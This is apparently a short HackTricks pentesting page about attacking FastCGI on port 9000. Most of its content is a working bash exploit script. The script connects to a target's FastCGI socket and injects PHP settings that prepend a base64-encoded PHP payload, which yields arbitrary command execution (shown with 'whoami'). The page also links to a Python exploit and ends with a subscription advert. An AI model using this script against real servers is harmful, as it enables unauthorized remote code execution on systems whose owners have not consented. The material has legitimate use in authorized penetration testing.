9000 - Pentesting FastCGI
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If you want to learn what is FastCGI check the following page:
By default FastCGI run in port 9000 and isn't recognized by nmap. Usually FastCGI only listen in localhost.
It's quiet easy to make FastCGI execute arbitrary code:
#!/bin/bash
PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/var/www/public/index.php" # Exisiting file path
HOST=$1
B64=$(echo "$PAYLOAD"|base64)
for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
cat $OUTPUT
done
or you can also use the following python script: https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!